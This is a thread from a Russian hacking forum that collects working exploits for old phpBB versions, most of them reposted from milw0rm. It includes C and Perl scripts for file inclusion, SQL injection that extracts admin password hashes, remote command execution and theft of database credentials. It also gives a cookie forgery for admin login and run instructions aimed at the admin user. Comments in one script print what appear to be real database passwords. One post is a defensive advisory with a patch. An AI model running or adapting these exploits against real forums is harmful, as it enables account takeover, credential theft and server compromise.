У Вас отключён javascript.
В данном режиме, отображение ресурса
браузером не поддерживается!
Добро пожаловать на Hack NET Portal ! Взлом и безопасность ПО. Круглосуточная раздача GOLD ключей к файлообменникам. Онлайн чат. Взлом на заказ. Читы к онлайн играм.

Hack NET Portal

Объявление

Хакер — не преступник. Взлом для искусства. Смысл — в свободе.

Кевин Митник.


Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Hack NET Portal » Сайты, форумы » Уязвимости phpBB


Уязвимости phpBB

Сообщений 1 страница 21 из 21

1

phpBB 2.0.4

Цель: Просмотр содержимого файлов на сервере.
Описание: Была выпущена в 2002. Данная версия почти не присутствует в сети.
Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.php.

Exploit:

Код:
***********************************************************/
/* phpBB 2.0.4 Remote Admin_Styles.PHP Theme_Info.CFG File Include  */
/*                                                                                                    */
/*                Exploit made on June 2003 by Spoofed Existence               */
/*                                                                                                    */
/*       Patch : http://www.phpbb.com/phpBB/viewtopic.php?t=113826      */
/***********************************************************/







int main()
{
//The socket stuff
struct hostent *hp;
struct sockaddr_in sa;
int sock;

//The input stuff
char server[100];
char location[100];
char sfile[100];
int escapes;
char* file;

//The request stuff
char* request;
char* postdata;
char* header;

//The buffer to store the response
char buffer[4096];
int tworeturns = 0;
int showing = 0;

//Other
int i;

//Ask the server
printf("Server: ");
scanf("%100s", server);
printf("Forum location: ");
scanf("%100s", location);
printf("Directories to escape: ");
scanf("%i", &escapes);
printf("File to get/execute: ");
scanf("%100s", sfile);


//Start the exploit!
printf("\n\nStarting the exploit...\n");

//Connect to the server
printf("Creating socket... ");
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
  printf("Failed!\n");
  return 0;
} else{ printf("Done!\n");
}


printf("Looking up server IP... ");
if((hp = gethostbyname((char*)server)) == NULL)
{
  printf("Failed!\n");
  return 0;
} else { printf("Done!\n");
}


printf("Connecting %s:80... ", server);
memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);
if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
{
  printf("Failed!\n");
  return 0;
} else { printf("Done!\n");
}


//Create the request
printf("Building request... ");

//Create the postdata
file = (char*)malloc(sizeof(char) * (escapes * 3 + strlen(sfile) + 1));

while(escapes > 0)
{
  if(escapes == 1)
  {
   sprintf(file, "%s%s%s", file, "..", sfile);
  } else { sprintf(file, "%s%s", file, "../");
  }

  escapes --;
}

postdata = (char*)malloc((27 + strlen(file)) * sizeof(char));
sprintf(postdata, "send_file= &install_to=%s%s00", file, "%");

header = (char*)malloc((170 + strlen(server) + strlen(location)) *
sizeof(char));
sprintf(header, "POST /%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n", location, server,
strlen(postdata));

request = (char*)malloc((strlen(postdata) + strlen(header) + 1) *
sizeof(char));
sprintf(request, "%s%s", header, postdata);

printf("Done!\n");


//Send the request
printf("Sending request... ");
write(sock, request, strlen(request));
printf("Done!\n");

printf("\nResponse:\n");
//Get the response
while(recv(sock, buffer, 4096, 0) != 0)
{
  for(i = 0; i < strlen(buffer); i++)
  {
   //Only show the character when it should
   if(showing == 1)
   {
    printf("%c", buffer[ i ]);
   }


   //Stop showing from \n<br>\n
   if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b' &&
buffer[i + 3] == 'r' && buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
   {
    showing = 0;
    tworeturns = 0;
   }
   //Or from \n<br />\n
   if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b' &&
buffer[i + 3] == 'r' && buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' && showing == 1)
   {
    showing = 0;
    tworeturns = 0;
   }

   //If there's a return and tworeturns = true, start showing it
   if(buffer[ i ] == '\n' && tworeturns == 1)
   {
    showing = 1;
   }

   //If there are two returns, set tworeturns to true and add 3 to i
   if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' && buffer[i + 2] == '\r'
&& buffer[i + 3] == '\n')
   {
    tworeturns = 1;
    i += 3;
   }
  }
}
printf("\n");

return 0;
}

© milw0rm.com

0

2

phpBB 2.0.5

Цель: Просмотр hash'a пароля.
Описание: Выпущена в 2002. Также редкая версия.
Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в при обработке $topic_id. Возможно добавить 2 запрос, тем самым захватить хэш.

Exploit:

Код:
#!/usr/bin/perl -w

use IO::Socket;

$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;

$dbtype = 'mysql4'; # mysql4 or pgsql 


print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";

$p = "";

for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) .
"&view=newest" . " HTTP/1.0\n\n";

print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
print $socket "Host: $remote\n\n";

while ($answer = <$socket>)
{
if ($answer =~ /Location:.*x23(d+)/) # Matches the Location: viewtopic.php?p=<num>#<num>
{
$p .= chr ($1);
}
}

close($socket);
}

print "\nMD5 Hash for uid $uid is $p\n";


sub random_encode
{
$str = shift;
$ret = "";
for($i=0; $i<length($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) * 1000;

if (int($j) % 2 || $c eq ' ')
{
$ret .= "%" . sprintf("%x",ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}

sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql')
{
return "; 
select ascii(substring(user_password from $index for 1)) as 
post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
}
else 
{
return "";
}
}

При запуске $remote = shift || 'localhost'; - изменяем на нужный например 255.255.255.255, $uid = shift || 2; - ID нужного нам пользователя. В форумах phpBB ID администратора по умолчанию "2". Затем пишем "perl exp.pl".

© milw0rm.com

0

3

phpBB 2.0.6

Цель: Просмотр hash'a пароля.
Описание: Выпущена в 2002. Также редкая версия.
Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в модуле search.php.

Exploit:

Код:
#!/usr/bin/perl -w
use IO::Socket;
##    PROOF-OF-CONCEPT
##    * work only with mysql ver > 4.0
##    * work only with post #1 
##
##    Example:
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat
(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,
97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,
59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,
58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,
104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&amp/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o


# milw0rm.com [2003-12-21]

Запускаем "perl exp.pl <server> <folder> <user_id> <search_id>", где <server> - IP сервера, <folder> - папка где находится сам форум, <user_id> <search_id> - ID пользователя.

© milw0rm.com

0

4

phpBB 2.0.8

Цель: Подмена IP.
Описание: -
Описание уязвимости: Позволяет подменить IP отправителя на произвольный.

Exploit:

Код:
##################################################################### 

Advisory Name : phpBB 2.0.8a and lower - IP spoofing vulnerability 
Release Date : Apr 18, 2004 
Application : phpBB 
Version : phpBB 2.0.8a and previous versions 
Platform : PHP 
Vendor URL : http://www.phpbb.com/ 
Author : Wang / SRR Project Group of Ready Response (srr@readyresponse.org) 
     
##################################################################### 

Overview 

A vulnerability has been reported to exist in the software that may allow a remote user to spoof/forge their IP address, 
therefore making the phpBB/Administrator believe that users/posts are coming from a false IP. The problem reportedly 
exists in the code to obtain the users IP address in the common.php script. This issue is caused by blind trust of the 
X-Forwarded-For HTTP header. A remote attacker may exploit this issue to hide their IP address, or appear under the IP 
address of another user. It can also be used to bypass any ban restrictions that an administrator has placed on an IP via 
the PHPBB system. 

------------------------------------------------ 

Discussion 

There is code in common.php that starts: 

// 
// Obtain and encode users IP 
// 
if( getenv('HTTP_X_FORWARDED_FOR') != '' ) 
{ 
$client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( 
!empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR ); 

This code is used to obtain the users/posters IP address. However, if the X-Forwarded-For HTTP header is present, it 
will take the IP address from the header and blindly trust it to be the users/posters IP address. The problem is of 
course that the X-Forwarded-For HTTP header is easily forgable via a number of methods. 

To take a trivial example...if a user were to spoof their X-Forwarded-For header to contain the information: 

X-Forwarded-For: 1.3.3.7 

When they post on a phpBB board - it blindly trusts that "1.3.3.7" is the users real IP address, and will present this 
IP address to the phpBB administrator if they choose to check the posters IP via the phpBB. Not only does this make it a 
pain for the phpBB administrator to then have to track down the users real IP via httpd server logs (if this is possible, 
which is not always the case) - it also makes it possible for a user to forge/spoof their IP to that of another user in a 
possible attempt to masquerade as them. 

In addition, this makes phpBB's IP ban feature close to useless because anyone can change their IP and evade the ban 
within seconds by changing their X-Forwarded-For header to an IP that is not banned (no need for a proxy). 

In my opinion, since phpBB handles getting a users IP address in this way...it is a security glitch, as it means that 
IP's can't be trusted by a phpBB administrator, and bans can be evaded with ease. 


------------------------------------------------ 

Solution 

No official response/solution has been recieved from the phpBB group. A possible solution would be to not trust the 
X-Forwarded-For HTTP header when wishing to obtain a valid IP address by which to reference a user/poster. 


In common.php find the following code around line 126: 

// 
// Obtain and encode users IP 
// 
if( getenv('HTTP_X_FORWARDED_FOR') != '' ) 
{ 
       $client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( 
!empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR ); 

       $entries = explode(',', getenv('HTTP_X_FORWARDED_FOR')); 
       reset($entries); 
       while (list(, $entry) = each($entries)) 
       { 
               $entry = trim($entry); 
               if ( preg_match("/^([0-9]+\.[0-9]+\.[0-9]+\.[0-
9]+)/", $entry, $ip_list) ) 
               { 
                       $private_ip = array('/^0./', '/^127.0.0.1/', '/^192.168..*/', 
'/^172.((1[6-9])|(2[0-9])|(3[0-
1]))..*/', '/^10..*/', '/^224..*/', '/^240..*/'); 
                       $found_ip = preg_replace($private_ip, $client_ip, $ip_list[1]); 

                       if ($client_ip != $found_ip) 
                       { 
                               $client_ip = $found_ip; 
                               break; 
                       } 
               } 
       } 
} 
else 
{ 
       $client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( 
!empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR ); 
} 
$user_ip = encode_ip($client_ip); 


Replace the above code with: 


// 
// Obtain and encode users IP 
// 
$client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( 
!empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR] : $REMOTE_ADDR ); 
$user_ip = encode_ip($client_ip); 


This will remove the code that tries to obtain the posters IP via X-Forwarded-For. 

------------------------------------------------ 

Credit 

Discovery of this issue is credited to Wang & the SRR project group of Ready Response <srr@readyresponse.org>

© securityvulns.ru

0

5

phpBB 2.0.10

Пропустим версии с 7 по 9, т.к. в них присутствуют те же уязвимости, что и в phpBB 2.0.10.

Цель: (1) Выполение произвольных команд.
Описание: Была выпущена так же в 2002. Был произведён дефейс сайта phpbb.com, с помощью найденной уязвимости в этой версии.
Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php.

Exploit:

Код:
#!/usr/bin/perl

use IO::Socket;

##                     @@@@@@@   @@@  @@@   @@@@@@  @@@  @@@
##                     @@!  @@@  @@!  @@@  !@@      @@!  @@@
##                     @!@!!@!   @!@  !@!   !@@!!   @!@!@!@!
##                     !!: :!!   !!:  !!!      !:!  !!:  !!!
##                      :   : :   :.:: :   ::.: :    :   : :
##
## phpBB <= 2.0.10 remote commands exec exploit
## based on [url]http://securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0[/url]
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example...
## he-he-he ... read [url]http://www.phpbb.com/phpBB/viewtopic.php?t=239819[/url]
## The third issue, search highlighting, has been checked by us several times and we can do 
## nothing with it at all. Again, that particular group admit likewise. In a future release 
## of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our 
## knowledge and as noted, testing) be taken advantage of and thus is not considered by us to 
## be cause for an immediate release.
## heh...
##
## r57phpbb2010.pl [url]www.phpbb.com[/url] /phpBB/ 239819 "ls -la"
## *** CMD: [ ls -la ]
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
##   total 507
##   drwxr-xr-x   12 dhn      phpbb         896 Oct 13 18:23 .
##   drwxrwxr-x   19 root     phpbb        1112 Nov 12 15:08 ..
##   drwxr-xr-x    2 dhn      phpbb         152 Oct 13 18:23 CVS
##   drwxr-xr-x    3 dhn      phpbb         944 Jul 19 15:17 admin
##   drwxrwxrwx    5 dhn      phpbb         160 Aug 14 21:19 cache
##   -rw-r--r--    1 dhn      phpbb       44413 Mar 11  2004 catdb.php
##   -rw-r--r--    1 dhn      phpbb        5798 Jul 19 15:17 common.php
##   -rw-r--r--    1 root     root          264 Jul  2 08:05 config.php
##   drwxr-xr-x    3 dhn      phpbb         136 Jun 24 06:40 db
##   drwxr-xr-x    3 dhn      phpbb         320 Jul 19 15:17 docs
##   -rw-r--r--    1 dhn      phpbb         814 Oct 30  2003 extension.inc
##   -rw-r--r--    1 dhn      phpbb        3646 Jul 10 04:21 faq.php
##   drwxr-xr-x    2 dhn      phpbb          96 Aug 12 14:59 files
##   -rw-r--r--    1 dhn      phpbb       45642 Jul 12 12:42 groupcp.php
##   drwxr-xr-x    7 dhn      phpbb         240 Aug 12 16:22 images
##   drwxr-xr-x    3 dhn      phpbb        1048 Jul 19 15:17 includes
##   -rw-r--r--    1 dhn      phpbb       14518 Jul 10 04:21 index.php
##   drwxr-xr-x   60 dhn      phpbb        2008 Sep 27 01:54 language
##   -rw-r--r--    1 dhn      phpbb        7481 Jul 19 15:17 login.php
##   -rw-r--r--    1 dhn      phpbb       12321 Mar  4  2004 memberlist.php
##   -rw-r--r--    1 dhn      phpbb       37639 Jul 10 04:21 modcp.php
##   -rw-r--r--    1 dhn      phpbb       45945 Mar 24  2004 mods_manager.php
##   -rw-r--r--    1 dhn      phpbb       34447 Jul 10 04:21 posting.php
##   -rw-r--r--    1 dhn      phpbb       72580 Jul 10 04:21 privmsg.php
##   -rw-r--r--    1 dhn      phpbb        4190 Jul 12 12:42 profile.php
##   -rw-r--r--    1 dhn      phpbb       16276 Oct 13 18:23 rules.php
##   -rw-r--r--    1 dhn      phpbb       42694 Jul 19 15:17 search.php
##   drwxr-xr-x    4 dhn      phpbb         136 Jun 24 06:41 templates
##   -rw-r--r--    1 dhn      phpbb       23151 Mar 13  2004 viewforum.php
##   -rw-r--r--    1 dhn      phpbb        7237 Jul 10 04:21 viewonline.php
##   -rw-r--r--    1 dhn      phpbb       45151 Jul 10 04:21 viewtopic.php
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## r57phpbb2010.pl [url]www.phpbb.com[/url] /phpBB/ 239819 "cat config.php"
## *** CMD: [ cat config.php ]
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
##   $dbms = "mysql";
##   $dbhost = "localhost";
##   $dbname = "phpbb";
##   $dbuser = "phpbb";
##   $dbpasswd = "phpBB_R0cKs";
##   $table_prefix = "phpbb_";
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## rocksss.... 
##
## P.S. this code public after phpbb.com was defaced by really stupid man with nickname tristam...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## fucking lamaz...
##
## ccteam.ru
## $dbname   = "ccteam_phpbb2";
## $dbuser   = "ccteam_userphpbb";
## $dbpasswd = "XCbRsoy1";
##
## eat this dude...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if (@ARGV < 4)
 {
 print q(############################################################
     phpBB <=2.0.10 remote command execution exploit
        by RusH security team // [url]www.rst.void.ru[/url]
############################################################
 usage:
 r57phpbb2010.pl [url][DIR] [NUM] [CMD]
 params:
  [url]- server url e.g. www.phpbb.com
  [DIR] - directory where phpBB installed e.g. /phpBB/ or /
  [NUM] - number of existing topic
  [CMD] - command for execute e.g. ls or "ls -la" 
############################################################
 );   
 exit;
 }

$serv  = $ARGV[0];
$dir   = $ARGV[1];
$topic = $ARGV[2];
$cmd   = $ARGV[3];

$serv =~ s/(http://)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); }
if ($on == 1) { print "  $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

### EOF ###

# milw0rm.com [2004-11-22]

Цель: (2) Попадание в админку обходя ограничения.
Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.php.

© milw0rm.com

0

6

phpBB 2.0.11

Цель: Выполение произвольных команд.
Описание: Была выпущена так же в 2002.
Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php - горе-кодеры плохо запатчили предыдущую багу - фильтрация кавычки обходится как %2527.

Exploit:

Код:
http://www.SITE.RU/forum/viewtopic.php?t=2726&highlight=%2527.$poster=%60$var%60.%2527&var=id

© antichat.ru

0

7

phpBB 2.0.12

Цель: Вход на форум аккаунтом администратора.
Описание: -
Описание уязвимости: Для начала нам следует зарегаться на форуме. Затем, войти под своим аккаунтом и если стоит галка "Автоматический вход", то убрать её. Нам нужно отредактировать куки, вместо

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D

X - наш ID, а меняем на

Код:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

2 - как уже говорилось выше, ID админа
Exploit:

Код:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

© antichat.ru

0

8

phpBB 2.0.13

Цель: Просмотр hash'a пароля, любого пользователя.
Описание уязвимости: Уязвимость присутствует в модуле downloads.php. Есть возможность SQL инъекции.

Exploit:

Код:
#!/usr/bin/perl -w
use IO::Socket;

##    Example:
##    C:\>phpbb.pl www.site.com /phpBB2/ 2
##
##     downloads.php mod in phpBB <= 2.0.13
##     **********************************
##      [~] Connecting...
##      [+] Connected!
##      [~] Sending Data...
##      [~] Data Sent, Waiting for response...
##      [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV < 3)
{
print "\n\n";
print "|****************************************************************|\n";
print " phpBB <=2.0.13 'downloads.php' Mod\n";
print " Bug found by Axl And CereBrums\n";
print " Coded by CereBrums // 2/4/2005\n";
print " Usage: phpbb.pl <site> <folder> <user_id>\n";
print " e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n";
print " [~] <server> - site address\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$take = 0;
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print "\n downloads.php mod in phpBB <= 2.0.13\n";
print " **********************************\n";
print "  [~] Connecting...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";

print "  [+] Connected\n";
print "  [~] Sending Data...\n";

$path = "http://$server/";
$path .= "/$folder/";
$path .= "downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=$user_id/*";
print $socket "GET $path HTTP/1.0\r\n\r\n";

print "  [~] Data Sent, Waiting for response...\n";

while ($answer = <$socket>)
{
       if ($take == 1) {
               $pass = substr($answer,51,32);
               print "  [+] MD5 Hash for user with id=$user_id is: $pass\n";
               $success = 1;
               $take = 0;
       }
       $found = rindex ($answer,"downloads.php?view=detail&id=0&cat=0");
       if ( $found > -1 ) {
               $take = 1;
       }
}
if ($success==0) {print "  [-] Exploit failed\n";}

## EOF ##

# milw0rm.com [2005-04-02]

Запускать "perl exp.pl <site> <dir> <id>", где <site> - URL сайта, <dir> - директория, <id> - нужный нам пользователь.

© milw0rm.com

0

9

phpBB 2.0.15

Цель: Получение Имя, Логина, Пароля от БД.
Описание уязвимости: Уязвимость присутствует в модуле viewtopic.php.

Exploit:

Код:
#!/usr/bin/perl

# tested and working /str0ke

#        ********************************************************************
#       **********************************************************************
#      ****                                                                 **
#     ***      ******       *******************                             **
#    ***    ***   ****   ***********************                            **
#   ***   ***     ****                       ****      *   ***    *****     **
#  ***   ***      ***                ***     ***      *  **  **   **        **
# ***   ***                         ***      **         **   **  **         **
#***   ***                          ***    ***          **   **  *****      **
#**   ***                          ***  ****           **   **      **      **
#**   ***       ***  ***   ******* *******             **  ***      **      **
#**   ***      ***   ***  **      *** ***              **  **  **  **       **
#**  ***      ***   ***  **      ***  ***               ***   *****         **
#**   ***     ***   *** **       ***  ***                                   **
#**   ****   ***    ****        ***   ***                                   **
#**     *******    ****   ********     ***********************************  **
#**         ***                                                             **
#**        ***                                                              **
#**                                                                         **
#**      phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability     **
#**      This exploit gives the user all the details about the database     **
#**      connection such as database host, username, password and           **
#**      database name.                                                     **
#**                                                                         **
#**              Written by SecureD,  gvr.secured<AT>gmail<DOT>com,2005     **
#**                                                                         **
#**      Greetings to GvR, Jumento, PP, CKrew & friends                      **
#**                                                                         **
#***************************************************************************** 
# ***************************************************************************

use IO::Socket;

print "+-----------------------------------------------------------------------+\r\n";
print "|           PhpBB 2.0.15 Database Authentication Details Exploit        |\r\n";
print "|                 By SecureD gvr.secured<AT>gmail<DOT>com               |\r\n";
print "+-----------------------------------------------------------------------+\r\n";

if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER         - Server where PhpBB is installed.\r\n";
print "DIR            - PHPBB directory or / for no directory.\r\n";
print "THREADID       - Id of an existing thread.\r\n";
print "COOKIESTRING   - Optional, cookie string of the http request.\r\n";
print "                 Use this when a thread needs authentication for viewing\r\n";
print "                 You can use Firefox in combination with \"Live HTTP\r\n";
print "                 Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
exit();
}

$serv         = $ARGV[0];
$dir         = $ARGV[1];
$threadid     = $ARGV[2];
$cookie     = $ARGV[3];

$serv         =~ s/http:////ge;
$delimit     = "GvRSecureD";

$sploit     = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";

print "[+] Connecting      OK\n";
sleep(1);

print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
    print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";


$succes = 0;

while ($answer = <$sock>) {
    $delimitIndex = index $answer, $delimit;
    if ($delimitIndex >= 0) {
        $succes = 1;
        $urlIndex = index $answer, "href";
        if ($urlIndex < 0){
            $answer = substr($answer, length($delimit));
            $length = 0;
            while (length($answer) > 0) {
                $nex = index($answer, $delimit);
                if ($nex > 0) {
                    push(@array, substr($answer, 0, $nex));
                    $answer = substr($answer, $nex + length($delimit), length($answer));
                } else {
                    $answer= "";
                }
            }
        }
    }
}

close($sock);

if ($succes == 1) {
    print "OK\n";
    sleep(1);
    print "[+] Database Host:  " . $array[0] . "\n";
    sleep(1);
    print "[+] Database Name:  " . $array[1] . "\n";
    sleep(1);
    print "[+] Username:       " . $array[2] . "\n";
    sleep(1);
    print "[+] Password:       " . $array[3] . "\n";
    sleep(1);
} else {
    print "FAILED\n";
}

# milw0rm.com [2005-07-03]

